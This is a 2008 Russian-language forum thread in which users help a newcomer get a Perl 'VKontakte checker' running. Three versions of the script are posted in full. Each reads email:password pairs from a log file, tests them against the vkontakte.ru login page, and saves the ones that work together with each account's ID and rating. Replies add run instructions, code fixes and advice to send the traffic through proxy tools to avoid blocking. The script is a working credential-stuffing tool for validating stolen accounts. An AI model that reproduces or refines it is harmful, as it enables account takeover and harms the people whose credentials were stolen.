PDA

Просмотр полной версии : Помогите запустить VKontakte checker на PERL.


MaTpOc
23.06.2008, 21:59
Вот сам скрипт:
#!/usr/bin/perl
# VKONTAKTE cheker
# Original author Xszz.AoH
# Modified by svesve
# tnx to a4at members who help me with perl ;-)
use strict;
use LWP::UserAgent;

use HTTP::Cookies;

open (FILE , '<logs.txt');
my @f = <FILE>;
chomp @f;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);
open (OUT , '>>IDS_rate.txt');
while (@f)
{
my ($mail, $pass) = split(/:/, shift(@f));

my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;
my $suc = $req =~ /302 Found/;
if ($suc )
{
$req = $ua->get('http://vkontakte.ru/index.php')->as_string;
my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)("&gt/;
my $idd=$2;
$req = $ua->get('http://vkontakte.ru/rate.php')->as_string;
my $res = $1 if $req=~m/width:100px">(.{1,4})</;
print "[rate=$res]:[id=$idd]:$mail:$pass\n";
if (!$idd)
{
print "Account deleted \n";
}
print OUT $res.":".$idd.":".$mail.":".$pass."\n";
}
else{print"[-]bad login or password \n";}
}
close OUT;
close FILE;


Вроде все делаю так как надо, но когда нажимаю на скрипт он тут же закрывается, помогите плиз нубу!

NeOz
23.06.2008, 22:00
Запусти через cmd, посмотри что пишет

MaTpOc
23.06.2008, 22:00
Запусти через cmd, посмотри что пишет

это как?

MaTpOc
23.06.2008, 22:01
поподробней плиз и еси не трудно объясните плиз по понятней)

NeOz
23.06.2008, 22:01
пуск -> выполнить -> cmd
и там укажи путь до твоего .pl файла

MaTpOc
23.06.2008, 22:05
пуск -> выполнить -> cmd
и там укажи путь до твоего .pl файла

я прописал а там пишет тип не является командой....

[Dezzter]
23.06.2008, 22:06
Ты Perl установил?

MaTpOc
23.06.2008, 22:08
']Ты Perl установил?

да, ActivePerl установил, у меня др скрипты на перле пашут, а этот открывается и тут же закрывается((((

[Dezzter]
23.06.2008, 22:10
епт, ты его через cmd открывай, не помню точно, но вроде так perl C:\Perl\bin Путь до скрипта, я просто с пёрлом пару раз дело имел, точно не помню как, ну пробуй

MaTpOc
23.06.2008, 22:13
']епт, ты его через cmd открывай, не помню точно, но вроде так perl C:\Perl\bin Путь до скрипта, я просто с пёрлом пару раз дело имел, точно не помню как, ну пробуй

написал так: C:\Perl\bin\perl.exe нажал ентер и ничего не появилось

parasha
23.06.2008, 22:13
ты скрипту пaраметры задал?

MaTpOc
23.06.2008, 22:14
ты скрипту пaраметры задал?

какие параметры???

parasha
23.06.2008, 22:19
ну че там c:\s.pl c:\spisok.txt c:\good.txt

MaTpOc
23.06.2008, 22:21
Посмотрите, может ошибка в скрипте???

svesve
23.06.2008, 22:33
ПОВТОРЯЮ ЕЩЕ РАЗ крипт пашет
использование c:\perl\bin\perl.exe check.pl

предварительно в папке C:\perl\bin\ должен быть файл logs.txt с мылом:пасс

MaTpOc
23.06.2008, 23:00
http://i011.radikal.ru/0806/32/19f6fa87ed43.jpg (http://www.radikal.ru)

QuoFX
24.06.2008, 15:44
в 27 строчке хватит и этого:
my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)/;



("&gt там вообще не нужно

он id сцапает и так. а при оригинале еррор там лезет)

svesve
24.06.2008, 15:57
вечером выложу переделанную немного версиюю а то в этой слишком много запросов )
точнее можно не лазя на рейт пхп снять рейтинг с главной

Vid0k
24.06.2008, 16:01
пуск->выполнить->cmd
cd C:\perl\bin
perl cheker.pl 123456 log.txt
где 123456 и log.txt параметры для скрипта

comeoff
24.06.2008, 16:06
На ПХП можно как то прочекать существование анкеты с записью id существующей анкеты в файл? Очень пригодился бы такой скрипт, только на ПХП.
Заранее СПС за ссылки/советы/работы.

MaTpOc
24.06.2008, 18:00
Все проблема решена, всем спасибо!
Все-таки была ошибка в самом скрипте! ;)

QuoFX
24.06.2008, 18:48
Это либо при копировании сюда глюкнуло.
Либо защита от детишек.
хз)
но там регуляру можно и сократить как я написал, он и так все цифры с Id возьмет =)

Vid0k
24.06.2008, 19:01
подскажите лучше чекер чтоб кол-во друзей выводил а то ручками долго)

svesve
24.06.2008, 20:02
Чуток переделанный код
#!/usr/bin/perl
# VKONTAKTE cheker
# Original author Xszz.AoH
# Modified by svesve
# tnx to a4at members who help me with perl ;-)
use strict;
use LWP::UserAgent;

use HTTP::Cookies;

open (FILE , '<logs.txt');
my @f = <FILE>;
chomp @f;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);
open (OUT , '>>IDS_rate.txt');
while (@f)
{
my ($mail, $pass) = split(/:/, shift(@f));

my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;
my $suc = $req =~ /302 Found/;
if ($suc )
{
$req = $ua->get('http://vkontakte.ru/index.php')->as_string;
my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)/;
my $idd=$2;
my $res = $1 if $req=~m/<div id="percent">(.{1,4})</;
print "[rate=$res]:[id=$idd]:$mail:$pass\n";
if (!$idd)
{
print "Account deleted \n";
}
print OUT $res.":".$idd.":".$mail.":".$pass."\n";
}
else{print"[-]bad login or password \n";}
}
close OUT;
close FILE;

MaTpOc
24.06.2008, 20:19
Вот скрипт, я его немного сделал под себя:

#!/usr/bin/perl
# VKONTAKTE cheker
# Original author Xszz.AoH
# Modified by svesve
# tnx to a4at members who help me with perl
use strict;
use LWP::UserAgent;

use HTTP::Cookies;

open (FILE , '<logs.txt');
my @f = <FILE>;
chomp @f;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);
open (OUT , '>>IDS_rate.txt');
while (@f)
{
my ($mail, $pass) = split(/ : /, shift(@f));

my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;
my $suc = $req =~ /302 Found/;
if ($suc )
{
$req = $ua->get('http://vkontakte.ru/index.php')->as_string;
my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)/;
my $idd=$2;
$req = $ua->get('http://vkontakte.ru/rate.php')->as_string;
my $res = $1 if $req=~m/width:100px">(.{1,4})</;
print "[rate=$res]:[id=$idd]:$mail:$pass\n";
if (!$idd)
{
print "Account deleted \n";
}
print OUT $mail.":".$pass."\n";
}
else{print"[-]bad login or password \n";}
}
close OUT;
close FILE;

Посматрите, что нетак, а то сеня утром все было ок, а щас пишет что у всех акках пас или лог не верный, заранее спс.

AlexV
24.06.2008, 20:36
А через прокси работает?

svesve
24.06.2008, 22:36
запускай через sockscap или через proxifier и будет тебе счастье

MaTpOc
24.06.2008, 22:51
запускай через sockscap или через proxifier и будет тебе счастье

кароче, с моим скриптом все понятно!
вобшем он странный какой-то, пишеь его он пашет опред время а потом не пшет, пишешь тоже самое пашет какое-то время а потом та же история...

Foxtrot1
25.06.2008, 13:45
а собственно ТС чем этот чекер лучше чем на php... разве скорость выше?